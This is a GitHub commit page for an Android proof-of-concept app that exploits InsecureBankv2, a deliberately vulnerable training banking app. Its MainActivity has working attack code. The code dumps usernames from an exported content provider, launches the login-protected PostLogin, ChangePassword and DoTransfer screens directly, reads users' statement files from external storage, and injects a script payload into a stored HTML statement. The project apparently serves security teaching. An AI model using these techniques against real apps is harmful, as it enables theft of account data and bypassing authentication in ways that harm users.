Skip to content

Commit 40f6ffb

Browse files
author
bountu
committed
First release.
0 parents  commit 40f6ffb

38 files changed

+1097
-0
lines changed

.gitignore

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
*.iml
2+
.gradle
3+
/local.properties
4+
/.idea/caches
5+
/.idea/libraries
6+
/.idea/modules.xml
7+
/.idea/workspace.xml
8+
/.idea/navEditor.xml
9+
/.idea/assetWizardSettings.xml
10+
.DS_Store
11+
/build
12+
/captures
13+
.externalNativeBuild
14+
.cxx
15+
local.properties

LICENSE

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2025 Aybora Ünveren
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

app/.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/build

app/build.gradle.kts

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
plugins {
2+
alias(libs.plugins.android.application)
3+
}
4+
5+
android {
6+
namespace = "com.ayboraa.ibv2poc"
7+
compileSdk = 35
8+
9+
defaultConfig {
10+
applicationId = "com.ayboraa.ibv2poc"
11+
minSdk = 22
12+
targetSdk = 34
13+
versionCode = 1
14+
versionName = "1.0"
15+
16+
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
17+
}
18+
19+
buildTypes {
20+
release {
21+
isMinifyEnabled = false
22+
proguardFiles(
23+
getDefaultProguardFile("proguard-android-optimize.txt"),
24+
"proguard-rules.pro"
25+
)
26+
}
27+
}
28+
compileOptions {
29+
sourceCompatibility = JavaVersion.VERSION_11
30+
targetCompatibility = JavaVersion.VERSION_11
31+
}
32+
}
33+
34+
dependencies {
35+
36+
implementation(libs.appcompat)
37+
implementation(libs.material)
38+
implementation(libs.activity)
39+
implementation(libs.constraintlayout)
40+
testImplementation(libs.junit)
41+
androidTestImplementation(libs.ext.junit)
42+
androidTestImplementation(libs.espresso.core)
43+
}

app/proguard-rules.pro

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Add project specific ProGuard rules here.
2+
# You can control the set of applied configuration files using the
3+
# proguardFiles setting in build.gradle.
4+
#
5+
# For more details, see
6+
# http://developer.android.com/guide/developing/tools/proguard.html
7+
8+
# If your project uses WebView with JS, uncomment the following
9+
# and specify the fully qualified class name to the JavaScript interface
10+
# class:
11+
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12+
# public *;
13+
#}
14+
15+
# Uncomment this to preserve the line number information for
16+
# debugging stack traces.
17+
#-keepattributes SourceFile,LineNumberTable
18+
19+
# If you keep the line number information, uncomment this to
20+
# hide the original source file name.
21+
#-renamesourcefileattribute SourceFile
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
package com.ayboraa.ibv2poc;
2+
3+
import android.content.Context;
4+
5+
import androidx.test.platform.app.InstrumentationRegistry;
6+
import androidx.test.ext.junit.runners.AndroidJUnit4;
7+
8+
import org.junit.Test;
9+
import org.junit.runner.RunWith;
10+
11+
import static org.junit.Assert.*;
12+
13+
/**
14+
* Instrumented test, which will execute on an Android device.
15+
*
16+
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
17+
*/
18+
@RunWith(AndroidJUnit4.class)
19+
public class ExampleInstrumentedTest {
20+
@Test
21+
public void useAppContext() {
22+
// Context of the app under test.
23+
Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
24+
assertEquals("com.ayboraa.ibv2poc", appContext.getPackageName());
25+
}
26+
}

app/src/main/AndroidManifest.xml

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
3+
xmlns:tools="http://schemas.android.com/tools">
4+
5+
<queries>
6+
<package android:name="com.android.insecurebankv2" />
7+
</queries>
8+
9+
10+
<uses-permission android:name="android.permission.INTERNET" />
11+
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
12+
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
13+
14+
<application
15+
android:allowBackup="true"
16+
android:debuggable="true"
17+
android:dataExtractionRules="@xml/data_extraction_rules"
18+
android:fullBackupContent="@xml/backup_rules"
19+
android:icon="@mipmap/ic_launcher"
20+
android:label="@string/app_name"
21+
android:roundIcon="@mipmap/ic_launcher_round"
22+
android:supportsRtl="true"
23+
android:theme="@style/Theme.IBV2PoC"
24+
tools:targetApi="31">
25+
<activity
26+
android:name=".MainActivity"
27+
android:exported="true">
28+
<intent-filter>
29+
<action android:name="android.intent.action.MAIN" />
30+
31+
<category android:name="android.intent.category.LAUNCHER" />
32+
</intent-filter>
33+
</activity>
34+
</application>
35+
36+
</manifest>
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
package com.ayboraa.ibv2poc;
2+
3+
import android.content.Intent;
4+
import android.database.Cursor;
5+
import android.net.Uri;
6+
import android.os.Bundle;
7+
import android.os.Environment;
8+
import android.widget.Button;
9+
import android.widget.TextView;
10+
import android.widget.Toast;
11+
12+
import androidx.activity.EdgeToEdge;
13+
import androidx.appcompat.app.AppCompatActivity;
14+
import androidx.core.graphics.Insets;
15+
import androidx.core.view.ViewCompat;
16+
import androidx.core.view.WindowInsetsCompat;
17+
18+
import java.io.BufferedReader;
19+
import java.io.File;
20+
import java.io.FileReader;
21+
import java.io.FileWriter;
22+
import java.io.IOException;
23+
24+
public class MainActivity extends AppCompatActivity {
25+
26+
27+
private String usernameFound = "";
28+
29+
30+
@Override
31+
protected void onCreate(Bundle savedInstanceState) {
32+
super.onCreate(savedInstanceState);
33+
34+
35+
EdgeToEdge.enable(this);
36+
setContentView(R.layout.activity_main);
37+
ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
38+
Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
39+
v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
40+
return insets;
41+
});
42+
43+
Button providerButton = findViewById(R.id.btn_provider);
44+
providerButton.setOnClickListener(v -> {
45+
try {
46+
Uri uri = Uri.parse("content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers");
47+
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
48+
if (cursor != null && cursor.moveToFirst()) {
49+
StringBuilder data = new StringBuilder();
50+
do {
51+
int nameIndex = cursor.getColumnIndex("name");
52+
if (nameIndex != -1) {
53+
String nameValue = cursor.getString(nameIndex);
54+
data.append("Name: ").append(nameValue).append("\n");
55+
if(usernameFound.equals("")) {
56+
TextView usernameText = (TextView) this.findViewById(R.id.txt_username);
57+
usernameText.setText("Account found:" + nameValue);
58+
usernameFound = nameValue;
59+
}
60+
} else {
61+
data.append("Column 'name' not found\n");
62+
}
63+
} while (cursor.moveToNext());
64+
Toast.makeText(this, "Extracted Data:\n" + data.toString(), Toast.LENGTH_LONG).show();
65+
cursor.close();
66+
} else {
67+
Toast.makeText(this, "No data found or query failed", Toast.LENGTH_LONG).show();
68+
if (cursor != null) cursor.close();
69+
}
70+
} catch (Exception e) {
71+
Toast.makeText(this, "Error: " + e.getMessage(), Toast.LENGTH_LONG).show();
72+
e.printStackTrace();
73+
}
74+
});
75+
76+
Button postLoginButton = findViewById(R.id.btn_postlogin);
77+
78+
postLoginButton.setOnClickListener(v -> {
79+
Intent intent = new Intent();
80+
intent.setClassName("com.android.insecurebankv2", "com.android.insecurebankv2.PostLogin");
81+
try {
82+
startActivity(intent);
83+
} catch (Exception e) {
84+
String errorMsg = "Error launching PostLogin: " + e.toString();
85+
Toast.makeText(this, errorMsg, Toast.LENGTH_LONG).show();
86+
e.printStackTrace();
87+
}
88+
});
89+
90+
Button changePassButton = findViewById(R.id.btn_changepass);
91+
92+
changePassButton.setOnClickListener(v -> {
93+
Intent intent = new Intent();
94+
intent.setClassName("com.android.insecurebankv2", "com.android.insecurebankv2.ChangePassword");
95+
intent.putExtra("uname", "test");
96+
try {
97+
startActivity(intent);
98+
} catch (Exception e) {
99+
String errorMsg = "Error launching ChangePassword: " + e.toString();
100+
Toast.makeText(this, errorMsg, Toast.LENGTH_LONG).show();
101+
e.printStackTrace();
102+
}
103+
});
104+
Button doTransferButton = findViewById(R.id.btn_dotransfer);
105+
106+
doTransferButton.setOnClickListener(v -> {
107+
Intent intent = new Intent();
108+
intent.setClassName("com.android.insecurebankv2", "com.android.insecurebankv2.DoTransfer");
109+
try {
110+
startActivity(intent);
111+
} catch (Exception e) {
112+
String errorMsg = "Error launching DoTransfer: " + e.toString();
113+
Toast.makeText(this, errorMsg, Toast.LENGTH_LONG).show();
114+
e.printStackTrace();
115+
}
116+
});
117+
Button transferHistoryButton = findViewById(R.id.btn_history);
118+
119+
transferHistoryButton.setOnClickListener(v -> {
120+
try {
121+
122+
String filePath = Environment.getExternalStorageDirectory() + "/Statements_" + usernameFound + ".html";
123+
File file = new File(filePath);
124+
if (file.exists()) {
125+
StringBuilder content = new StringBuilder();
126+
BufferedReader reader = new BufferedReader(new FileReader(file));
127+
String line;
128+
while ((line = reader.readLine()) != null) {
129+
content.append(line).append("\n");
130+
}
131+
reader.close();
132+
Toast.makeText(this, "Transfer History:\n" + content.toString(), Toast.LENGTH_LONG).show();
133+
} else {
134+
Toast.makeText(this, "No statements file found for " + usernameFound, Toast.LENGTH_LONG).show();
135+
}
136+
137+
} catch (Exception e) {
138+
Toast.makeText(this, e.toString(), Toast.LENGTH_LONG).show();
139+
e.printStackTrace();
140+
}
141+
});
142+
143+
144+
Button javascriptButton = findViewById(R.id.btn_javascript);
145+
146+
javascriptButton.setOnClickListener(v -> {
147+
try {
148+
149+
String filePath = Environment.getExternalStorageDirectory() + "/Statements_" + usernameFound + ".html";
150+
File file = new File(filePath);
151+
if (file.exists()) {
152+
try {
153+
// Read the file content
154+
FileReader fileReader = new FileReader(file);
155+
StringBuilder content = new StringBuilder();
156+
int character;
157+
while ((character = fileReader.read()) != -1) {
158+
content.append((char) character);
159+
}
160+
fileReader.close();
161+
162+
content.append("<script>alert(\"Injected!\")</script>");
163+
164+
// Write the modified content back to the file
165+
FileWriter fileWriter = new FileWriter(file);
166+
fileWriter.write(content.toString());
167+
fileWriter.close();
168+
169+
// Notify the user
170+
Toast.makeText(this, "File modified successfully!", Toast.LENGTH_LONG).show();
171+
} catch (IOException e) {
172+
e.printStackTrace();
173+
Toast.makeText(this, "Error modifying the file.", Toast.LENGTH_LONG).show();
174+
}
175+
176+
} else {
177+
Toast.makeText(this, "No statements file found for " + usernameFound, Toast.LENGTH_LONG).show();
178+
}
179+
180+
} catch (Exception e) {
181+
Toast.makeText(this, e.toString(), Toast.LENGTH_LONG).show();
182+
e.printStackTrace();
183+
}
184+
});
185+
186+
187+
188+
}
189+
}

0 commit comments

Comments
 (0)